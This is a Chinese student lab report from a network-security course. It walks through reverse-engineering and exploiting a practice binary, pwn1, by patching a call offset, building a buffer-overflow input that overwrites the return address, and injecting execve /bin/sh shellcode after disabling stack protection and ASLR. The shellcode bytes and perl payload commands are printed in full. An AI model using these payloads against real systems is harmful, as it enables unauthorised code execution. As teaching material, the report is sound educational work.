1. 程式人生 > >20155232《網絡對抗》 Exp1 PC平臺逆向破解(5)M

20155232《網絡對抗》 Exp1 PC平臺逆向破解(5)M

代碼 結構 準備工作 威脅 網絡 補碼 clean 高級語言 foo

20155232《網絡對抗》 Exp1 PC平臺逆向破解(5)M

實驗內容

  • (1).掌握NOP, JNE, JE, JMP, CMP匯編指令的機器碼(1分)

  • (2)掌握反匯編與十六進制編程器 (1分)

  • (3)能正確修改機器指令改變程序執行流程(1分)

  • (4)能正確構造payload進行bof攻擊(2分)

  • (5)Optional:進階,shellcode編程與註入

  • 實踐指導:實踐指導

實踐目標

  • 本次實踐的對象是一個名為pwn1的linux可執行文件。

  • 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。

  • 該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然後學習如何註入運行任何Shellcode。

  • 三個實踐內容如下:
  1. 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
  2. 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
  3. 註入一個自己制作的shellcode並運行這段shellcode。
    這幾種思路,基本代表現實情況中的攻擊目標:
    運行原本不可訪問的代碼片段
    強行修改程序執行流
    以及註入運行任意代碼。

基礎知識

熟悉Linux基本操作

能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。

  • 管道命令

管道就是將輸出在標準輸出中的信息一次次處理最終打印在標準輸出中,所以管道命令必須是接受標準輸出的命令,cp、mv、ls都不是管道命令。

用法: command 1 | command2,它的功能是把第一個命令command 1執行的結果作為command 2的輸入傳給command 2。

舉例
ls -l | more:該命令列出當前目錄中的任何文檔,並把輸出送給more命令作為輸入,more命令分頁顯示文件列表。

  • 重定向操作符
>

將命令輸出寫入文件或設備,而不是命令提示符或句柄

<

從文件而不是從鍵盤或句柄讀入命令輸入

>>

將命令輸出添加到文件末尾而不刪除文件中已有的信息

>&

將一個句柄的輸出寫入到另一個句柄的輸入中

<&

從一個句柄讀取輸入並將其寫入到另一個句柄輸出中

  • 常用匯編指令及寄存器的作用

NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什麽也不做,僅僅當做一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)

JNE:條件轉移指令,如果不相等則跳轉。(機器碼:75)

JE:條件轉移指令,如果相等則跳轉。(機器碼:74)

JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)

CMP:比較指令,功能相當於減法指令,只是對操作數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其他相關指令通過識別這些被影響的標誌寄存器位來得知比較結果。

EAX:通用寄存器。相對其他寄存器,在進行運算方面比較常用。在保護模式中,也可以作為內存偏移指針(此時,DS作為段 寄存器或選擇器)

EBX:通用寄存器。通常作為內存偏移指針使用(相對於EAX、ECX、EDX),DS是默認的段寄存器或選擇器。在保護模式中,同樣可以起這個作用。

ECX:通用寄存器。通常用於特定指令的計數。在保護模式中,也可以作為內存偏移指針(此時,DS作為 寄存器或段選擇器)。

EDX:通用寄存器。在某些運算中作為EAX的溢出寄存器(例如乘、除)。在保護模式中,也可以作為內存偏移指針(此時,DS作為段 寄存器或選擇器)。

ESI:通常在內存操作指令中作為“源地址指針”使用。當然,ESI可以被裝入任意的數值,但通常沒有人把它當作通用寄存器來用。DS是默認段寄存器或選擇器。

EDI:通常在內存操作指令中作為“目的地址指針”使用。當然,EDI也可以被裝入任意的數值,但通常沒有人把它當作通用寄存器來用。DS是默認段寄存器或選擇器。

EBP:這也是一個作為指針的寄存器。通常,它被高級語言編譯器用以建造‘堆棧幀‘來保存函數或過程的局部變量,不過,還是那句話,你可以在其中保存你希望的任何數據。SS是它的默認段寄存器或選擇器。

理解Bof的原理

能看得懂匯編、機器指令、EIP、指令地址。

會使用gdb,vi

當然,如果還不懂,通過這個過程能對以上概念有了更進一步的理解就更好了。

指令、參數

這些東西,我自己也記不住,都是用時現查的。所以一些具體的問題可以邊做邊查,但最重要的思路、想法不能亂。要時刻知道,我是在做什麽?現在在查什麽數據?改什麽數據?要改成什麽樣?每步操作都要單獨實踐驗證,再一步步累加為最終結果。

操作成功不重要,照著敲入指令肯定會成功

重要的是理解思路。

看指導理解思路,然後拋開指導自己做。
碰到問題才能學到知識。
具體的指令可以回到指導中查。

實驗步驟

一.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數

直接修改程序機器指令,改變程序執行流程

  • 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反匯編指令objdump,十六進制編輯工具
  • 學習目標:理解可執行文件與機器指令
  • 進階:掌握ELF文件格式,掌握動態技術

0.首先對pwn1文件進行改名稱

使用命令

mv

技術分享圖片

1. 使用命令

objdump -d pwn1 | more

對pwn1進行反匯編
技術分享圖片

技術分享圖片

可以觀察到:
getShell函數的地址是804847d

foo函數的地址是8048491

在main函數中call後面地址為8048491 即調用了foo函數
,其對應機器指令為“e8 d7ffffff”,,e8即跳轉之意。
此時此刻EIP的值應該是下條指令的地址,即80484ba。要想使main函數調用getShell函數只要算出getshell和foo地址的差值為14,則用d7減去14為c3,即為修改結果。

2.使用命令

vi 20155232lsq

技術分享圖片

3.按ESC鍵
4.輸入如下,將顯示模式切換為16進制模式

:%!xxd

技術分享圖片

5.查找要修改的內容

/d7

技術分享圖片

6.找到後前後的內容和反匯編的對比下,確認是地方是正確的
7.修改d7為c3
技術分享圖片

8.轉換16進制為原格式

:%!xxd -r

9.存盤退出vi

:wq

實驗結果
技術分享圖片

二.通過構造輸入參數,造成BOF攻擊,改變程序執行流

  • 首先進行反匯編,了解程序的基本功能

技術分享圖片

  • 註意這個函數getShell,我們的目標是觸發這個函數
    技術分享圖片

  • 該可執行文件正常運行是調用如下函數foo,這個函數有Buffer overflow漏洞

技術分享圖片

  • 這裏讀入字符串,但系統只預留了字節的緩沖區,超出部分會造成溢出,我們的目標是覆蓋返回地址

技術分享圖片

  • 確認輸入字符串哪幾個字符會覆蓋到返回地址
  • 選擇 “ 1111111122222222333333334444444455555555 ” 來測試,容易標識
    使用

    gdb 

    進入調試界面。

技術分享圖片

  • 使用命令

    info r

    查看各個寄存器的值

技術分享圖片

  • ==此時註意到eip的值為ASCII的5,即在輸入字符串的“5”的部分發生溢出。所以嘗試將5的部分改為其他數字進行比對:==

技術分享圖片

  • 將“55555555”改成“12345678”,輸入info r查看寄存器註意寄存器eip的值,如圖“0x34333231 0x34333231”,換算成ASCⅡ碼剛好是1234。1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。
    技術分享圖片

  • 只要把這四個字符替換為 getShell 的內存地址,輸給20155232lsq,20155232lsq就會運行getShell。

  • getShell的內存地址,通過反匯編時可以看到,即0804847d。

  • 接下來要確認下字節序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,還是輸入11111111222222223333333344444444\x7d\x84\x04\x08。
    技術分享圖片

  • 對比之前eip 0x34333231 0x34333231 ,正確應用輸入 ==11111111222222223333333344444444\x7d\x84\x04\x08==

  • 由於我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,所以先生成包括這樣字符串的一個文件。\x0a表示回車,如果沒有的話,在程序運行時就需要手工按一下回車鍵。
    技術分享圖片

關於Perl: Perl是一門解釋型語言,不需要預編譯,可以在命令行上直接使用。 使用輸出重定向“>”將perl生成的字符串存儲到文件input中。

  • 可以使用16進制查看指令xxd查看input文件的內容是否如預期。
    技術分享圖片

  • 然後將input的輸入,通過管道符“|”,作為20155232lsq的輸入。

技術分享圖片

技術分享圖片

三.註入Shellcode並執行

  • 準備一段Shellcode

shellcode就是一段機器指令(code)
通常這段機器指令的目的是為獲取一個交互式的shell(像linux的shell或類似windows下的cmd.exe),
所以這段機器指令被稱為shellcode。
在實際的應用中,凡是用來註入的機器指令段都通稱為shellcode,像添加一個用戶、運行一條指令。

  • 最基本的shellcode的編寫可參考許同學的文章Shellcode入門,寫得非常之清楚詳實。以下實踐即使用該文章中生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 準備工作

使用命令

execstack -s 20155232lsq

設置堆棧可執行
技術分享圖片

  • 使用命令

    execstack -q 20155232lsq

    查詢文件的堆棧是否可執行

技術分享圖片

  • 使用命令

more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space 

技術分享圖片

  • 構造要註入的payload。

Linux下有兩種基本構造攻擊buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr。
  • 因為retaddr在緩沖區的位置是固定的,shellcode要不在它前面,要不在它後面。
  • 簡單說緩沖區小就把shellcode放後邊,緩沖區大就把shellcode放前邊

  • 我們這個buf夠放這個shellcode了
  • 結構為:anything+retaddr+nops+shellcode。。
  • nop一為是了填充,二是作為“著陸區/滑行區”。
    我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。

  • 使用命令

perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode

上面最後的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。我們得把它改為這段shellcode的地址。

==特別提醒==:最後一個字符千萬不能是\x0a。不然下面的操作就做不了了。

  • 接下來我們來確定\x4\x3\x2\x1到底該填什麽。
    打開一個終端註入這段攻擊buf:
(cat input_shellcode;cat) | ./20155232lsq
  • 再開另外一個終端,用gdb來調試20155232lsq這個進程,使用命令
ps -ef | grep 20155232lsq

找到20155232lsq的進程號是:2453

技術分享圖片

  • 啟動gdb調試這個進程
    技術分享圖片

  • 通過設置斷點,來查看註入buf的內存地址

disassemble foo

技術分享圖片

斷在ret,這時註入的東西都大堆棧上了

ret完,就跳到我們覆蓋的retaddr那個地方了

技術分享圖片

  • 在另外一個終端中按下回車,這就是前面為什麽不能以\x0a來結束 input_shellcode的原因。
  • 使用break *0x080484ae設置斷點,並輸入c繼續運行。在pwn1進程正在運行的終端敲回車,使其繼續執行。再返回調試終端,使用info r esp查找地址

技術分享圖片

  • 使用x/16x 0xffffd33c查看其存放內容,看到了01020304
    ,就是返回地址的位置。根據我們構造的input_shellcode可知,shellcode就在其後,所以地址是 0xffffd340。
    技術分享圖片

  • 決定將返回地址改為0xffffd340。
    技術分享圖片

  • 再執行程序,攻擊成功
    技術分享圖片

技術分享圖片

以上實踐是在非常簡單的一個預設條件下完成的:

(1)關閉堆棧保護(gcc -fno-stack-protector)

(2)關閉堆棧執行保護(execstack -s)

(3)關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)

(4)在x32環境下

(5)在Linux實踐環境**

實驗中遇到的問題

  • 1.出現不存在此文件或目錄的情況
  • 解決

++一.修改更新源sources.list++

1.切換到root用戶

su

2.用文本編輯器打開source.list

leafpad /etc/apt/sources.list

3.添加下列更新源

#阿裏雲kali源  
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
  
#中科大kali源  
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free  
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free

4.對軟件進行一次整體更新(一共923M的更新包)

apt-get clean
apt-get update
apt-get upgrade

5.更新完kali源之後再次使用

apt-get install lib32z1
  • 2.出現權限不夠的情況
    技術分享圖片

  • 解決

使用命令

chmod +x 文件名

技術分享圖片

  • 出現問題如圖
    技術分享圖片

  • 解決

使用

apt-get install execstack

命令安裝execstack即可

技術分享圖片

實驗收獲與感想

經過本次實驗理解了BOF原理,學會了怎麽運行原本不可訪問的代碼片段、強行修改程序執行流以及註入運行任意代碼。通過修改棧所存儲的指令地址,使跳轉到想運行的指令。在本次實驗中了解了各個寄存器存儲的內容,學會了使用gdb和vi的相關指令以及通過調試設置斷點來修改指令地址。

什麽是漏洞?漏洞有什麽危害?

漏洞:是在硬件、軟件、協議的具體實現上存在的缺陷,從而可以使攻擊者能夠訪問或破壞系統。配置不當的問題都可能被攻擊者使用,威脅到系統的安全。

漏洞的危害:漏洞會影響到的範圍很大,包括系統本身及其軟件等。在這些不同的軟硬件設備中都可能存在不同的安全漏洞問題。這個缺陷或錯誤可以被不法者或者電腦黑客利用,通過植入木馬、病毒等方式來攻擊或控制整個電腦,從而竊取電腦中的重要資料和信息,甚至破壞系統。

評分標準:

  1. 截圖要求:
    1.1 所有操作截圖主機名為本人姓名拼音
    1.2 所編輯的文件名包含自己的學號
    如未按如上格式要求,則相應部分報告內容不記成績。

2 報告內容
2.1掌握NOP, JNE, JE, JMP, CMP匯編指令的機器碼(0.5分)
2.2掌握反匯編與十六進制編程器 (0.5分)
2.3能正確修改機器指令改變程序執行流程(0.5分)
2.4能正確構造payload進行bof攻擊(0.5分)

3.報告整體觀感
3.1 報告格式範圍,版面整潔 加0.5。
3.2 報告排版混亂,加0分。

4.文字表述
4.1報告文字內容非常全面,表述清晰準確 加1分。
4.2報告邏輯清楚,比較簡要地介紹了自己的操作目標與過程 加0.5分。
4.3報告邏輯混亂表述不清或文字有明顯抄襲可能 加0分。

5實踐指導:
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md

20155232《網絡對抗》 Exp1 PC平臺逆向破解(5)M